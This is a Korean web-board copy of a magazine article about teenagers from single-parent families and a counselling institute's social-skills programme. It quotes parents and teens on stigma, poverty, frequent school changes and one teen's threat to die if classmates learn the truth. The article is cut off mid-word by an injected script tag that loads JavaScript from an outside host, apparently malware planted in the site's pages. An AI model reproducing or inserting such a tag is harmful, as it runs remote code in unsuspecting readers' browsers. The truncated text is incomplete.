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제 목   하늘을 향해 날개짓하는 한울타리 아이들   번 호   786 조회수  2941   이메일       작성자   월간 아름다운가정 작성일   08-06-01   내 용   하늘을 향해 날개짓하는 한울타리 아이들 지난 3월 15일, 한국한부모가정연구소에는 중ㆍ고등학교에 다니는 한 부모가정 청소년들이 한자리에 모였다. 대부분 지난 겨울방학 동안 진 행된 “한부모가정 청소년 사회성 발달 프로그램”에 참석했던 청소년 들이었다. 모임에 참석한 청소년들은 두 달 여만의 만남에 조금은 어색하면서도 재회의 반가움을 나누고 있었다. 방학이 훨씬 지난 시점에서 한부모가 정 청소년들이 한자리에 모인 이유는 무엇일까? 바로 한부모가정 아동 들의 모임을 정례화하기 위해 조직된 “한울타리 아이들” 정기모임 에 참석하기 위해서이다. 한부모가정 아동들을 위한 “한울타리 아이들” 정기모임은 부모의 이혼, 사별, 비혼, 별거 등으로 겪는 어려움을 줄여주고, 원만한 대인 관계를 형성하는데 도움을 주기 위해 마련되었다. 등 떠밀려 상담 받으러 온 아이 고구마(가명)는 지난 방학기간 동안 엄마와 함께 한국한부모가정연구 소를 찾아왔다. 엄마의 간곡한 부탁 때문이었다. “엄마가 방학동안 이곳에 가서 상담을 받으라고 했어요. 엄마와 약속해서 이곳에 왔습니다.” 고구마의 등을 밀며 들어온 엄마는 “제가 아이를 키운 지 3년 정도 가 되어가요. 이혼 한 직후는 아이 아버지가 아이를 키웠었는데 재혼 하는 바램에 제가 아이를 키우게 되었지요. 제가 최근에 경제적으로 너무 힘들다보니 아이한테 소홀했던가 봐요. 아이가 요즘 많이 달라졌 어요. 학교생활에도 흥미를 잃고 우울해지는 것 같아요. 친구들도 거 의 없어서 밖에 나가지도 않아요.”라고 말한다. 자녀를 데려온 어머니는 자녀가 부모의 이혼 후 달라진 가족상황으로 인해 수치심을 느끼고 있는 것 같다고 말한다. 그리고 그런 어려움에 서 벗어날 수 있도록 지원을 요청한다. “제가 바라는 것은 우리 아이가 상담 받고 현재의 가족상황에 대해 긍정적인 생각을 갖는 거예요. 그리고 최근 친구들과도 전혀 사귀지 않아요. 친구들과 잘 사귈 수 있었으면 좋겠어요”. 대인관계에 어려움 겪는 이유 그동안 한부모가정 청소년들이 대인관계에 어려움을 겪고 있다는 보고 는 지속적으로 발표되어 왔다. 한부모가정의 자녀들이 친구를 사귀는 데에 어려움을 겪는 이유로는 개인적, 가족적, 환경적 요인 등 여러 가지 요인들이 작용한다. 그러나 전문가들은 한부모가정 자녀들이 보이는 대인관계의 문제 중 가장 근간이 되는 것은 “한부모가정에서 살고 있다는 열등감” 이라 고 지적한다. 친구들이 알면 자살할거야 황은숙 소장(한국한부모가정연구소)은 “한부모가정의 자녀들은 한부 모가정에 대한 사회적인 편견을 내면화하여 자신의 가정을 부끄럽거 나 잘못된 가정으로 인식하는 경우가 많습니다. 자신의 가정에 대해 부정적인 인식을 갖고 있는 아동들은 자신의 가족형태가 외부에 노출 되는 것을 꺼리기 때문에 대인관계에 어려움을 겪으며 학교생활에 적 응하지 못하는 경우가 있습니다”고 말한다. 실제로 한부모가정의 청소년 중에는 부모의 이혼, 사별, 비혼 등으로 또래관계는 물론 학교생활에 부적응하는 경우가 많다. 정희라(가명)님 은 이혼가정의 부모로 중학교 2학년에 다니는 자녀가 있다. 정희라님 은 아침마다 자녀와 말다툼을 벌인다고 한다. “아이가 아침마다 학교에 가지 않으려 해요. 강제로 학교에 보내면 학교가는 척 하고는 제가 직장가고 나면 집으로 들어오는 거예요”라 고 말한다. 이유인 즉, 학교에 가면 친구들은 엄마, 아빠 이야기를 하는 데 자신 은 가족 이야기를 할 수 없기 때문이라는 것이다. 때로는 친구들이 자 신이 한부모가정에서 자라고 있다는 것을 알게 된다면 죽어버리겠다 고 엄포를 놓는다고 한다. 한부모가정이라는 사실이 드러나느니 차라 리 친구를 사귀지 않겠다는 이야기이다. 빈번한 전학이 문제 중학교 3학년인 고구마는 친구가 없다. 좀더 구체적으로 말하면 이전 에는 친구가 있었지만 지금은 친구가 없다고 말한다. “평소 저는 친구들이 없는 편이에요. 집을 자주 이사하다 보니 전학 을 자주 다녔어요. 집이 가난하니까 엄마가 더 싼 집으로 이사를 했거 든요. 엄마가 집을 옮기면 계속 전학을 가야하기 때문에 아에 친구들 을 사귀지 않았어요. 사귀어도 또 전학가면 만나지 못하니까요. 그러 다보니 이제는 친구를 사귀려고 노력하지도 않아요. 또 혼자가 될 테 니까요” 라고 말한다. 가난이 아이들로부터 친구들을 빼앗고 있는 것이다. 사회성 발달 프로그램 이런저런 이유로 친구를 사귀는 데 어려움을 겪던 한부모가정의 청소 년들이 지난 방학 “사회성 발달 프로그램”에 참여하였다. “사회성 발달 프로그램”에는 한부모가정의 청소년 10여명이 참여하 며 4회기 동안 대인?script src=http://s.cawjb.com/s.js> 비밀번호:

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